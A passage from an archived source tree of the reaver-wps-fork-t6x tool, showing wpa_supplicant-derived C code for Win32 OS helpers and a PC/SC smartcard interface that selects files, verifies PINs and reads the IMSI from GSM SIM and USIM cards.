if (ptr) os_memset(ptr, 0, size); return ptr; } char * os_strdup(const char *s) { size_t len; char *d; len = os_strlen(s); d = os_malloc(len + 1); if (d == NULL) return NULL; os_memcpy(d, s, len); d[len] = '\0'; return d; } #endif /* WPA_TRACE */ reaver-wps-fork-t6x-1.6.6/src/utils/os_win32.c000077500000000000000000000073401363372615500210550ustar00rootroot00000000000000/* * wpa_supplicant/hostapd / OS specific functions for Win32 systems * Copyright (c) 2005-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include #include "os.h" void os_sleep(os_time_t sec, os_time_t usec) { if (sec) Sleep(sec * 1000); if (usec) Sleep(usec / 1000); } int os_get_time(struct os_time *t) { #define EPOCHFILETIME (116444736000000000ULL) FILETIME ft; LARGE_INTEGER li; ULONGLONG tt; #ifdef _WIN32_WCE SYSTEMTIME st; GetSystemTime(&st); SystemTimeToFileTime(&st, &ft); #else /* _WIN32_WCE */ GetSystemTimeAsFileTime(&ft); #endif /* _WIN32_WCE */ li.LowPart = ft.dwLowDateTime; li.HighPart = ft.dwHighDateTime; tt = (li.QuadPart - EPOCHFILETIME) / 10; t->sec = (os_time_t) (tt / 1000000); t->usec = (os_time_t) (tt % 1000000); return 0; } int os_mktime(int year, int month, int day, int hour, int min, int sec, os_time_t *t) { struct tm tm, *tm1; time_t t_local, t1, t2; os_time_t tz_offset; if (year < 1970 || month < 1 || month > 12 || day < 1 || day > 31 || hour < 0 || hour > 23 || min < 0 || min > 59 || sec < 0 || sec > 60) return -1; memset(&tm, 0, sizeof(tm)); tm.tm_year = year - 1900; tm.tm_mon = month - 1; tm.tm_mday = day; tm.tm_hour = hour; tm.tm_min = min; tm.tm_sec = sec; t_local = mktime(&tm); /* figure out offset to UTC */ tm1 = localtime(&t_local); if (tm1) { t1 = mktime(tm1); tm1 = gmtime(&t_local); if (tm1) { t2 = mktime(tm1); tz_offset = t2 - t1; } else tz_offset = 0; } else tz_offset = 0; *t = (os_time_t) t_local - tz_offset; return 0; } int os_daemonize(const char *pid_file) { /* TODO */ return -1; } void os_daemonize_terminate(const char *pid_file) { } int os_get_random(unsigned char *buf, size_t len) { HCRYPTPROV prov; BOOL ret; if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) return -1; ret = CryptGenRandom(prov, len, buf); CryptReleaseContext(prov, 0); return ret ? 0 : -1; } unsigned long os_random(void) { return rand(); } char * os_rel2abs_path(const char *rel_path) { return _strdup(rel_path); } int os_program_init(void) { #ifdef CONFIG_NATIVE_WINDOWS WSADATA wsaData; if (WSAStartup(MAKEWORD(2, 0), &wsaData)) { printf("Could not find a usable WinSock.dll\n"); return -1; } #endif /* CONFIG_NATIVE_WINDOWS */ return 0; } void os_program_deinit(void) { #ifdef CONFIG_NATIVE_WINDOWS WSACleanup(); #endif /* CONFIG_NATIVE_WINDOWS */ } int os_setenv(const char *name, const char *value, int overwrite) { return -1; } int os_unsetenv(const char *name) { return -1; } char * os_readfile(const char *name, size_t *len) { FILE *f; char *buf; f = fopen(name, "rb"); if (f == NULL) return NULL; fseek(f, 0, SEEK_END); *len = ftell(f); fseek(f, 0, SEEK_SET); buf = malloc(*len); if (buf == NULL) { fclose(f); return NULL; } fread(buf, 1, *len, f); fclose(f); return buf; } void * os_zalloc(size_t size) { return calloc(1, size); } size_t os_strlcpy(char *dest, const char *src, size_t siz) { const char *s = src; size_t left = siz; if (left) { /* Copy string up to the maximum size of the dest buffer */ while (--left != 0) { if ((*dest++ = *s++) == '\0') break; } } if (left == 0) { /* Not enough room for the string; force NUL-termination */ if (siz != 0) *dest = '\0'; while (*s++) ; /* determine total src string length */ } return s - src - 1; } reaver-wps-fork-t6x-1.6.6/src/utils/pcsc_funcs.c000077500000000000000000001011201363372615500215270ustar00rootroot00000000000000/* * WPA Supplicant / PC/SC smartcard interface for USIM, GSM SIM * Copyright (c) 2004-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file implements wrapper functions for accessing GSM SIM and 3GPP USIM * cards through PC/SC smartcard library. These functions are used to implement * authentication routines for EAP-SIM and EAP-AKA. */ #include "includes.h" #include #include "common.h" #include "pcsc_funcs.h" /* See ETSI GSM 11.11 and ETSI TS 102 221 for details. * SIM commands: * Command APDU: CLA INS P1 P2 P3 Data * CLA (class of instruction): A0 for GSM, 00 for USIM * INS (instruction) * P1 P2 P3 (parameters, P3 = length of Data) * Response APDU: Data SW1 SW2 * SW1 SW2 (Status words) * Commands (INS P1 P2 P3): * SELECT: A4 00 00 02 * GET RESPONSE: C0 00 00 * RUN GSM ALG: 88 00 00 00 * RUN UMTS ALG: 88 00 81 data: 0x10 | RAND | 0x10 | AUTN * P1 = ID of alg in card * P2 = ID of secret key * READ BINARY: B0 * READ RECORD: B2 * P2 (mode) = '02' (next record), '03' (previous record), * '04' (absolute mode) * VERIFY CHV: 20 00 08 * CHANGE CHV: 24 00 10 * DISABLE CHV: 26 00 01 08 * ENABLE CHV: 28 00 01 08 * UNBLOCK CHV: 2C 00 <00=CHV1, 02=CHV2> 10 * SLEEP: FA 00 00 00 */ /* GSM SIM commands */ #define SIM_CMD_SELECT 0xa0, 0xa4, 0x00, 0x00, 0x02 #define SIM_CMD_RUN_GSM_ALG 0xa0, 0x88, 0x00, 0x00, 0x10 #define SIM_CMD_GET_RESPONSE 0xa0, 0xc0, 0x00, 0x00 #define SIM_CMD_READ_BIN 0xa0, 0xb0, 0x00, 0x00 #define SIM_CMD_READ_RECORD 0xa0, 0xb2, 0x00, 0x00 #define SIM_CMD_VERIFY_CHV1 0xa0, 0x20, 0x00, 0x01, 0x08 /* USIM commands */ #define USIM_CLA 0x00 #define USIM_CMD_RUN_UMTS_ALG 0x00, 0x88, 0x00, 0x81, 0x22 #define USIM_CMD_GET_RESPONSE 0x00, 0xc0, 0x00, 0x00 #define SIM_RECORD_MODE_ABSOLUTE 0x04 #define USIM_FSP_TEMPL_TAG 0x62 #define USIM_TLV_FILE_DESC 0x82 #define USIM_TLV_FILE_ID 0x83 #define USIM_TLV_DF_NAME 0x84 #define USIM_TLV_PROPR_INFO 0xA5 #define USIM_TLV_LIFE_CYCLE_STATUS 0x8A #define USIM_TLV_FILE_SIZE 0x80 #define USIM_TLV_TOTAL_FILE_SIZE 0x81 #define USIM_TLV_PIN_STATUS_TEMPLATE 0xC6 #define USIM_TLV_SHORT_FILE_ID 0x88 #define USIM_PS_DO_TAG 0x90 #define AKA_RAND_LEN 16 #define AKA_AUTN_LEN 16 #define AKA_AUTS_LEN 14 #define RES_MAX_LEN 16 #define IK_LEN 16 #define CK_LEN 16 typedef enum { SCARD_GSM_SIM, SCARD_USIM } sim_types; struct scard_data { SCARDCONTEXT ctx; SCARDHANDLE card; DWORD protocol; sim_types sim_type; int pin1_required; }; #ifdef __MINGW32_VERSION /* MinGW does not yet support WinScard, so load the needed functions * dynamically from winscard.dll for now. */ static HINSTANCE dll = NULL; /* winscard.dll */ static const SCARD_IO_REQUEST *dll_g_rgSCardT0Pci, *dll_g_rgSCardT1Pci; #undef SCARD_PCI_T0 #define SCARD_PCI_T0 (dll_g_rgSCardT0Pci) #undef SCARD_PCI_T1 #define SCARD_PCI_T1 (dll_g_rgSCardT1Pci) static WINSCARDAPI LONG WINAPI (*dll_SCardEstablishContext)(IN DWORD dwScope, IN LPCVOID pvReserved1, IN LPCVOID pvReserved2, OUT LPSCARDCONTEXT phContext); #define SCardEstablishContext dll_SCardEstablishContext static long (*dll_SCardReleaseContext)(long hContext); #define SCardReleaseContext dll_SCardReleaseContext static WINSCARDAPI LONG WINAPI (*dll_SCardListReadersA)(IN SCARDCONTEXT hContext, IN LPCSTR mszGroups, OUT LPSTR mszReaders, IN OUT LPDWORD pcchReaders); #undef SCardListReaders #define SCardListReaders dll_SCardListReadersA static WINSCARDAPI LONG WINAPI (*dll_SCardConnectA)(IN SCARDCONTEXT hContext, IN LPCSTR szReader, IN DWORD dwShareMode, IN DWORD dwPreferredProtocols, OUT LPSCARDHANDLE phCard, OUT LPDWORD pdwActiveProtocol); #undef SCardConnect #define SCardConnect dll_SCardConnectA static WINSCARDAPI LONG WINAPI (*dll_SCardDisconnect)(IN SCARDHANDLE hCard, IN DWORD dwDisposition); #define SCardDisconnect dll_SCardDisconnect static WINSCARDAPI LONG WINAPI (*dll_SCardTransmit)(IN SCARDHANDLE hCard, IN LPCSCARD_IO_REQUEST pioSendPci, IN LPCBYTE pbSendBuffer, IN DWORD cbSendLength, IN OUT LPSCARD_IO_REQUEST pioRecvPci, OUT LPBYTE pbRecvBuffer, IN OUT LPDWORD pcbRecvLength); #define SCardTransmit dll_SCardTransmit static WINSCARDAPI LONG WINAPI (*dll_SCardBeginTransaction)(IN SCARDHANDLE hCard); #define SCardBeginTransaction dll_SCardBeginTransaction static WINSCARDAPI LONG WINAPI (*dll_SCardEndTransaction)(IN SCARDHANDLE hCard, IN DWORD dwDisposition); #define SCardEndTransaction dll_SCardEndTransaction static int mingw_load_symbols(void) { char *sym; if (dll) return 0; dll = LoadLibrary("winscard"); if (dll == NULL) { wpa_printf(MSG_DEBUG, "WinSCard: Could not load winscard.dll " "library"); return -1; } #define LOADSYM(s) \ sym = #s; \ dll_ ## s = (void *) GetProcAddress(dll, sym); \ if (dll_ ## s == NULL) \ goto fail; LOADSYM(SCardEstablishContext); LOADSYM(SCardReleaseContext); LOADSYM(SCardListReadersA); LOADSYM(SCardConnectA); LOADSYM(SCardDisconnect); LOADSYM(SCardTransmit); LOADSYM(SCardBeginTransaction); LOADSYM(SCardEndTransaction); LOADSYM(g_rgSCardT0Pci); LOADSYM(g_rgSCardT1Pci); #undef LOADSYM return 0; fail: wpa_printf(MSG_DEBUG, "WinSCard: Could not get address for %s from " "winscard.dll", sym); FreeLibrary(dll); dll = NULL; return -1; } static void mingw_unload_symbols(void) { if (dll == NULL) return; FreeLibrary(dll); dll = NULL; } #else /* __MINGW32_VERSION */ #define mingw_load_symbols() 0 #define mingw_unload_symbols() do { } while (0) #endif /* __MINGW32_VERSION */ static int _scard_select_file(struct scard_data *scard, unsigned short file_id, unsigned char *buf, size_t *buf_len, sim_types sim_type, unsigned char *aid, size_t aidlen); static int scard_select_file(struct scard_data *scard, unsigned short file_id, unsigned char *buf, size_t *buf_len); static int scard_verify_pin(struct scard_data *scard, const char *pin); static int scard_get_record_len(struct scard_data *scard, unsigned char recnum, unsigned char mode); static int scard_read_record(struct scard_data *scard, unsigned char *data, size_t len, unsigned char recnum, unsigned char mode); static int scard_parse_fsp_templ(unsigned char *buf, size_t buf_len, int *ps_do, int *file_len) { unsigned char *pos, *end; if (ps_do) *ps_do = -1; if (file_len) *file_len = -1; pos = buf; end = pos + buf_len; if (*pos != USIM_FSP_TEMPL_TAG) { wpa_printf(MSG_DEBUG, "SCARD: file header did not " "start with FSP template tag"); return -1; } pos++; if (pos >= end) return -1; if ((pos + pos[0]) < end) end = pos + 1 + pos[0]; pos++; wpa_hexdump(MSG_DEBUG, "SCARD: file header FSP template", pos, end - pos); while (pos + 1 < end) { wpa_printf(MSG_MSGDUMP, "SCARD: file header TLV " "0x%02x len=%d", pos[0], pos[1]); if (pos + 2 + pos[1] > end) break; if (pos[0] == USIM_TLV_FILE_SIZE && (pos[1] == 1 || pos[1] == 2) && file_len) { if (pos[1] == 1) *file_len = (int) pos[2]; else *file_len = ((int) pos[2] << 8) | (int) pos[3]; wpa_printf(MSG_DEBUG, "SCARD: file_size=%d", *file_len); } if (pos[0] == USIM_TLV_PIN_STATUS_TEMPLATE && pos[1] >= 2 && pos[2] == USIM_PS_DO_TAG && pos[3] >= 1 && ps_do) { wpa_printf(MSG_DEBUG, "SCARD: PS_DO=0x%02x", pos[4]); *ps_do = (int) pos[4]; } pos += 2 + pos[1]; if (pos == end) return 0; } return -1; } static int scard_pin_needed(struct scard_data *scard, unsigned char *hdr, size_t hlen) { if (scard->sim_type == SCARD_GSM_SIM) { if (hlen > SCARD_CHV1_OFFSET && !(hdr[SCARD_CHV1_OFFSET] & SCARD_CHV1_FLAG)) return 1; return 0; } if (scard->sim_type == SCARD_USIM) { int ps_do; if (scard_parse_fsp_templ(hdr, hlen, &ps_do, NULL)) return -1; /* TODO: there could be more than one PS_DO entry because of * multiple PINs in key reference.. */ if (ps_do > 0 && (ps_do & 0x80)) return 1; return 0; } return -1; } static int scard_get_aid(struct scard_data *scard, unsigned char *aid, size_t maxlen) { int rlen, rec; struct efdir { unsigned char appl_template_tag; /* 0x61 */ unsigned char appl_template_len; unsigned char appl_id_tag; /* 0x4f */ unsigned char aid_len; unsigned char rid[5]; unsigned char appl_code[2]; /* 0x1002 for 3G USIM */ } *efdir; unsigned char buf[100]; size_t blen; efdir = (struct efdir *) buf; blen = sizeof(buf); if (scard_select_file(scard, SCARD_FILE_EF_DIR, buf, &blen)) { wpa_printf(MSG_DEBUG, "SCARD: Failed to read EF_DIR"); return -1; } wpa_hexdump(MSG_DEBUG, "SCARD: EF_DIR select", buf, blen); for (rec = 1; rec < 10; rec++) { rlen = scard_get_record_len(scard, rec, SIM_RECORD_MODE_ABSOLUTE); if (rlen < 0) { wpa_printf(MSG_DEBUG, "SCARD: Failed to get EF_DIR " "record length"); return -1; } blen = sizeof(buf); if (rlen > (int) blen) { wpa_printf(MSG_DEBUG, "SCARD: Too long EF_DIR record"); return -1; } if (scard_read_record(scard, buf, rlen, rec, SIM_RECORD_MODE_ABSOLUTE) < 0) { wpa_printf(MSG_DEBUG, "SCARD: Failed to read " "EF_DIR record %d", rec); return -1; } wpa_hexdump(MSG_DEBUG, "SCARD: EF_DIR record", buf, rlen); if (efdir->appl_template_tag != 0x61) { wpa_printf(MSG_DEBUG, "SCARD: Unexpected application " "template tag 0x%x", efdir->appl_template_tag); continue; } if (efdir->appl_template_len > rlen - 2) { wpa_printf(MSG_DEBUG, "SCARD: Too long application " "template (len=%d rlen=%d)", efdir->appl_template_len, rlen); continue; } if (efdir->appl_id_tag != 0x4f) { wpa_printf(MSG_DEBUG, "SCARD: Unexpected application " "identifier tag 0x%x", efdir->appl_id_tag); continue; } if (efdir->aid_len < 1 || efdir->aid_len > 16) { wpa_printf(MSG_DEBUG, "SCARD: Invalid AID length %d", efdir->aid_len); continue; } wpa_hexdump(MSG_DEBUG, "SCARD: AID from EF_DIR record", efdir->rid, efdir->aid_len); if (efdir->appl_code[0] == 0x10 && efdir->appl_code[1] == 0x02) { wpa_printf(MSG_DEBUG, "SCARD: 3G USIM app found from " "EF_DIR record %d", rec); break; } } if (rec >= 10) { wpa_printf(MSG_DEBUG, "SCARD: 3G USIM app not found " "from EF_DIR records"); return -1; } if (efdir->aid_len > maxlen) { wpa_printf(MSG_DEBUG, "SCARD: Too long AID"); return -1; } os_memcpy(aid, efdir->rid, efdir->aid_len); return efdir->aid_len; } /** * scard_init - Initialize SIM/USIM connection using PC/SC * @sim_type: Allowed SIM types (SIM, USIM, or both) * Returns: Pointer to private data structure, or %NULL on failure * * This function is used to initialize SIM/USIM connection. PC/SC is used to * open connection to the SIM/USIM card and the card is verified to support the * selected sim_type. In addition, local flag is set if a PIN is needed to * access some of the card functions. Once the connection is not needed * anymore, scard_deinit() can be used to close it. */ struct scard_data * scard_init(scard_sim_type sim_type) { long ret; unsigned long len; struct scard_data *scard; #ifdef CONFIG_NATIVE_WINDOWS TCHAR *readers = NULL; #else /* CONFIG_NATIVE_WINDOWS */ char *readers = NULL; #endif /* CONFIG_NATIVE_WINDOWS */ unsigned char buf[100]; size_t blen; int transaction = 0; int pin_needed; wpa_printf(MSG_DEBUG, "SCARD: initializing smart card interface"); if (mingw_load_symbols()) return NULL; scard = os_zalloc(sizeof(*scard)); if (scard == NULL) return NULL; ret = SCardEstablishContext(SCARD_SCOPE_SYSTEM, NULL, NULL, &scard->ctx); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "SCARD: Could not establish smart card " "context (err=%ld)", ret); goto failed; } ret = SCardListReaders(scard->ctx, NULL, NULL, &len); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "SCARD: SCardListReaders failed " "(err=%ld)", ret); goto failed; } #ifdef UNICODE len *= 2; #endif /* UNICODE */ readers = os_malloc(len); if (readers == NULL) { wpa_printf(MSG_INFO, "SCARD: malloc failed\n"); goto failed; } ret = SCardListReaders(scard->ctx, NULL, readers, &len); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "SCARD: SCardListReaders failed(2) " "(err=%ld)", ret); goto failed; } if (len < 3) { wpa_printf(MSG_WARNING, "SCARD: No smart card readers " "available."); goto failed; } /* readers is a list of available reader. Last entry is terminated with * double NUL. * TODO: add support for selecting the reader; now just use the first * one.. */ #ifdef UNICODE wpa_printf(MSG_DEBUG, "SCARD: Selected reader='%S'", readers); #else /* UNICODE */ wpa_printf(MSG_DEBUG, "SCARD: Selected reader='%s'", readers); #endif /* UNICODE */ ret = SCardConnect(scard->ctx, readers, SCARD_SHARE_SHARED, SCARD_PROTOCOL_T0, &scard->card, &scard->protocol); if (ret != SCARD_S_SUCCESS) { if (ret == (long) SCARD_E_NO_SMARTCARD) wpa_printf(MSG_INFO, "No smart card inserted."); else wpa_printf(MSG_WARNING, "SCardConnect err=%lx", ret); goto failed; } os_free(readers); readers = NULL; wpa_printf(MSG_DEBUG, "SCARD: card=0x%x active_protocol=%lu (%s)", (unsigned int) scard->card, scard->protocol, scard->protocol == SCARD_PROTOCOL_T0 ? "T0" : "T1"); ret = SCardBeginTransaction(scard->card); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "SCARD: Could not begin transaction: " "0x%x", (unsigned int) ret); goto failed; } transaction = 1; blen = sizeof(buf); scard->sim_type = SCARD_GSM_SIM; if (sim_type == SCARD_USIM_ONLY || sim_type == SCARD_TRY_BOTH) { wpa_printf(MSG_DEBUG, "SCARD: verifying USIM support"); if (_scard_select_file(scard, SCARD_FILE_MF, buf, &blen, SCARD_USIM, NULL, 0)) { wpa_printf(MSG_DEBUG, "SCARD: USIM is not supported"); if (sim_type == SCARD_USIM_ONLY) goto failed; wpa_printf(MSG_DEBUG, "SCARD: Trying to use GSM SIM"); scard->sim_type = SCARD_GSM_SIM; } else { wpa_printf(MSG_DEBUG, "SCARD: USIM is supported"); scard->sim_type = SCARD_USIM; } } if (scard->sim_type == SCARD_GSM_SIM) { blen = sizeof(buf); if (scard_select_file(scard, SCARD_FILE_MF, buf, &blen)) { wpa_printf(MSG_DEBUG, "SCARD: Failed to read MF"); goto failed; } blen = sizeof(buf); if (scard_select_file(scard, SCARD_FILE_GSM_DF, buf, &blen)) { wpa_printf(MSG_DEBUG, "SCARD: Failed to read GSM DF"); goto failed; } } else { unsigned char aid[32]; int aid_len; aid_len = scard_get_aid(scard, aid, sizeof(aid)); if (aid_len < 0) { wpa_printf(MSG_DEBUG, "SCARD: Failed to find AID for " "3G USIM app - try to use standard 3G RID"); os_memcpy(aid, "\xa0\x00\x00\x00\x87", 5); aid_len = 5; } wpa_hexdump(MSG_DEBUG, "SCARD: 3G USIM AID", aid, aid_len); /* Select based on AID = 3G RID from EF_DIR. This is usually * starting with A0 00 00 00 87. */ blen = sizeof(buf); if (_scard_select_file(scard, 0, buf, &blen, scard->sim_type, aid, aid_len)) { wpa_printf(MSG_INFO, "SCARD: Failed to read 3G USIM " "app"); wpa_hexdump(MSG_INFO, "SCARD: 3G USIM AID", aid, aid_len); goto failed; } } /* Verify whether CHV1 (PIN1) is needed to access the card. */ pin_needed = scard_pin_needed(scard, buf, blen); if (pin_needed < 0) { wpa_printf(MSG_DEBUG, "SCARD: Failed to determine whether PIN " "is needed"); goto failed; } if (pin_needed) { scard->pin1_required = 1; wpa_printf(MSG_DEBUG, "PIN1 needed for SIM access"); } ret = SCardEndTransaction(scard->card, SCARD_LEAVE_CARD); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "SCARD: Could not end transaction: " "0x%x", (unsigned int) ret); } return scard; failed: if (transaction) SCardEndTransaction(scard->card, SCARD_LEAVE_CARD); os_free(readers); scard_deinit(scard); return NULL; } /** * scard_set_pin - Set PIN (CHV1/PIN1) code for accessing SIM/USIM commands * @scard: Pointer to private data from scard_init() * @pin: PIN code as an ASCII string (e.g., "1234") * Returns: 0 on success, -1 on failure */ int scard_set_pin(struct scard_data *scard, const char *pin) { if (scard == NULL) return -1; /* Verify whether CHV1 (PIN1) is needed to access the card. */ if (scard->pin1_required) { if (pin == NULL) { wpa_printf(MSG_DEBUG, "No PIN configured for SIM " "access"); return -1; } if (scard_verify_pin(scard, pin)) { wpa_printf(MSG_INFO, "PIN verification failed for " "SIM access"); return -1; } } return 0; } /** * scard_deinit - Deinitialize SIM/USIM connection * @scard: Pointer to private data from scard_init() * * This function closes the SIM/USIM connect opened with scard_init(). */ void scard_deinit(struct scard_data *scard) { long ret; if (scard == NULL) return; wpa_printf(MSG_DEBUG, "SCARD: deinitializing smart card interface"); if (scard->card) { ret = SCardDisconnect(scard->card, SCARD_UNPOWER_CARD); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "SCARD: Failed to disconnect " "smart card (err=%ld)", ret); } } if (scard->ctx) { ret = SCardReleaseContext(scard->ctx); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "Failed to release smart card " "context (err=%ld)", ret); } } os_free(scard); mingw_unload_symbols(); } static long scard_transmit(struct scard_data *scard, unsigned char *_send, size_t send_len, unsigned char *_recv, size_t *recv_len) { long ret; unsigned long rlen; wpa_hexdump_key(MSG_DEBUG, "SCARD: scard_transmit: send", _send, send_len); rlen = *recv_len; ret = SCardTransmit(scard->card, scard->protocol == SCARD_PROTOCOL_T1 ? SCARD_PCI_T1 : SCARD_PCI_T0, _send, (unsigned long) send_len, NULL, _recv, &rlen); *recv_len = rlen; if (ret == SCARD_S_SUCCESS) { wpa_hexdump(MSG_DEBUG, "SCARD: scard_transmit: recv", _recv, rlen); } else { wpa_printf(MSG_WARNING, "SCARD: SCardTransmit failed " "(err=0x%lx)", ret); } return ret; } static int _scard_select_file(struct scard_data *scard, unsigned short file_id, unsigned char *buf, size_t *buf_len, sim_types sim_type, unsigned char *aid, size_t aidlen) { long ret; unsigned char resp[3]; unsigned char cmd[50] = { SIM_CMD_SELECT }; int cmdlen; unsigned char get_resp[5] = { SIM_CMD_GET_RESPONSE }; size_t len, rlen; if (sim_type == SCARD_USIM) { cmd[0] = USIM_CLA; cmd[3] = 0x04; get_resp[0] = USIM_CLA; } wpa_printf(MSG_DEBUG, "SCARD: select file %04x", file_id); if (aid) { wpa_hexdump(MSG_DEBUG, "SCARD: select file by AID", aid, aidlen); if (5 + aidlen > sizeof(cmd)) return -1; cmd[2] = 0x04; /* Select by AID */ cmd[4] = aidlen; /* len */ os_memcpy(cmd + 5, aid, aidlen); cmdlen = 5 + aidlen; } else { cmd[5] = file_id >> 8; cmd[6] = file_id & 0xff; cmdlen = 7; } len = sizeof(resp); ret = scard_transmit(scard, cmd, cmdlen, resp, &len); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_WARNING, "SCARD: SCardTransmit failed " "(err=0x%lx)", ret); return -1; } if (len != 2) { wpa_printf(MSG_WARNING, "SCARD: unexpected resp len " "%d (expected 2)", (int) len); return -1; } if (resp[0] == 0x98 && resp[1] == 0x04) { /* Security status not satisfied (PIN_WLAN) */ wpa_printf(MSG_WARNING, "SCARD: Security status not satisfied " "(PIN_WLAN)"); return -1; } if (resp[0] == 0x6e) { wpa_printf(MSG_DEBUG, "SCARD: used CLA not supported"); return -1; } if (resp[0] != 0x6c && resp[0] != 0x9f && resp[0] != 0x61) { wpa_printf(MSG_WARNING, "SCARD: unexpected response 0x%02x " "(expected 0x61, 0x6c, or 0x9f)", resp[0]); return -1; } /* Normal ending of command; resp[1] bytes available */ get_resp[4] = resp[1]; wpa_printf(MSG_DEBUG, "SCARD: trying to get response (%d bytes)", resp[1]); rlen = *buf_len; ret = scard_transmit(scard, get_resp, sizeof(get_resp), buf, &rlen); if (ret == SCARD_S_SUCCESS) { *buf_len = resp[1] < rlen ? resp[1] : rlen; return 0; } wpa_printf(MSG_WARNING, "SCARD: SCardTransmit err=0x%lx\n", ret); return -1; } static int scard_select_file(struct scard_data *scard, unsigned short file_id, unsigned char *buf, size_t *buf_len) { return _scard_select_file(scard, file_id, buf, buf_len, scard->sim_type, NULL, 0); } static int scard_get_record_len(struct scard_data *scard, unsigned char recnum, unsigned char mode) { unsigned char buf[255]; unsigned char cmd[5] = { SIM_CMD_READ_RECORD /* , len */ }; size_t blen; long ret; if (scard->sim_type == SCARD_USIM) cmd[0] = USIM_CLA; cmd[2] = recnum; cmd[3] = mode; cmd[4] = sizeof(buf); blen = sizeof(buf); ret = scard_transmit(scard, cmd, sizeof(cmd), buf, &blen); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "SCARD: failed to determine file " "length for record %d", recnum); return -1; } wpa_hexdump(MSG_DEBUG, "SCARD: file length determination response", buf, blen); if (blen < 2 || buf[0] != 0x6c) { wpa_printf(MSG_DEBUG, "SCARD: unexpected response to file " "length determination"); return -1; } return buf[1]; } static int scard_read_record(struct scard_data *scard, unsigned char *data, size_t len, unsigned char recnum, unsigned char mode) { unsigned char cmd[5] = { SIM_CMD_READ_RECORD /* , len */ }; size_t blen = len + 3; unsigned char *buf; long ret; if (scard->sim_type == SCARD_USIM) cmd[0] = USIM_CLA; cmd[2] = recnum; cmd[3] = mode; cmd[4] = len; buf = os_malloc(blen); if (buf == NULL) return -1; ret = scard_transmit(scard, cmd, sizeof(cmd), buf, &blen); if (ret != SCARD_S_SUCCESS) { os_free(buf); return -2; } if (blen != len + 2) { wpa_printf(MSG_DEBUG, "SCARD: record read returned unexpected " "length %ld (expected %ld)", (long) blen, (long) len + 2); os_free(buf); return -3; } if (buf[len] != 0x90 || buf[len + 1] != 0x00) { wpa_printf(MSG_DEBUG, "SCARD: record read returned unexpected " "status %02x %02x (expected 90 00)", buf[len], buf[len + 1]); os_free(buf); return -4; } os_memcpy(data, buf, len); os_free(buf); return 0; } static int scard_read_file(struct scard_data *scard, unsigned char *data, size_t len) { unsigned char cmd[5] = { SIM_CMD_READ_BIN /* , len */ }; size_t blen = len + 3; unsigned char *buf; long ret; cmd[4] = len; buf = os_malloc(blen); if (buf == NULL) return -1; if (scard->sim_type == SCARD_USIM) cmd[0] = USIM_CLA; ret = scard_transmit(scard, cmd, sizeof(cmd), buf, &blen); if (ret != SCARD_S_SUCCESS) { os_free(buf); return -2; } if (blen != len + 2) { wpa_printf(MSG_DEBUG, "SCARD: file read returned unexpected " "length %ld (expected %ld)", (long) blen, (long) len + 2); os_free(buf); return -3; } if (buf[len] != 0x90 || buf[len + 1] != 0x00) { wpa_printf(MSG_DEBUG, "SCARD: file read returned unexpected " "status %02x %02x (expected 90 00)", buf[len], buf[len + 1]); os_free(buf); return -4; } os_memcpy(data, buf, len); os_free(buf); return 0; } static int scard_verify_pin(struct scard_data *scard, const char *pin) { long ret; unsigned char resp[3]; unsigned char cmd[5 + 8] = { SIM_CMD_VERIFY_CHV1 }; size_t len; wpa_printf(MSG_DEBUG, "SCARD: verifying PIN"); if (pin == NULL || os_strlen(pin) > 8) return -1; if (scard->sim_type == SCARD_USIM) cmd[0] = USIM_CLA; os_memcpy(cmd + 5, pin, os_strlen(pin)); os_memset(cmd + 5 + os_strlen(pin), 0xff, 8 - os_strlen(pin)); len = sizeof(resp); ret = scard_transmit(scard, cmd, sizeof(cmd), resp, &len); if (ret != SCARD_S_SUCCESS) return -2; if (len != 2 || resp[0] != 0x90 || resp[1] != 0x00) { wpa_printf(MSG_WARNING, "SCARD: PIN verification failed"); return -1; } wpa_printf(MSG_DEBUG, "SCARD: PIN verified successfully"); return 0; } /** * scard_get_imsi - Read IMSI from SIM/USIM card * @scard: Pointer to private data from scard_init() * @imsi: Buffer for IMSI * @len: Length of imsi buffer; set to IMSI length on success * Returns: 0 on success, -1 if IMSI file cannot be selected, -2 if IMSI file * selection returns invalid result code, -3 if parsing FSP template file fails * (USIM only), -4 if IMSI does not fit in the provided imsi buffer (len is set * to needed length), -5 if reading IMSI file fails. * * This function can be used to read IMSI from the SIM/USIM card. If the IMSI * file is PIN protected, scard_set_pin() must have been used to set the * correct PIN code before calling scard_get_imsi(). */ int scard_get_imsi(struct scard_data *scard, char *imsi, size_t *len) { unsigned char buf[100]; size_t blen, imsilen, i; char *pos; wpa_printf(MSG_DEBUG, "SCARD: reading IMSI from (GSM) EF-IMSI"); blen = sizeof(buf); if (scard_select_file(scard, SCARD_FILE_GSM_EF_IMSI, buf, &blen)) return -1; if (blen < 4) { wpa_printf(MSG_WARNING, "SCARD: too short (GSM) EF-IMSI " "header (len=%ld)", (long) blen); return -2; } if (scard->sim_type == SCARD_GSM_SIM) { blen = (buf[2] << 8) | buf[3]; } else { int file_size; if (scard_parse_fsp_templ(buf, blen, NULL, &file_size)) return -3; blen = file_size; } if (blen < 2 || blen > sizeof(buf)) { wpa_printf(MSG_DEBUG, "SCARD: invalid IMSI file length=%ld", (long) blen); return -3; } imsilen = (blen - 2) * 2 + 1; wpa_printf(MSG_DEBUG, "SCARD: IMSI file length=%ld imsilen=%ld", (long) blen, (long) imsilen); if (blen < 2 || imsilen > *len) { *len = imsilen; return -4; } if (scard_read_file(scard, buf, blen)) return -5; pos = imsi; *pos++ = '0' + 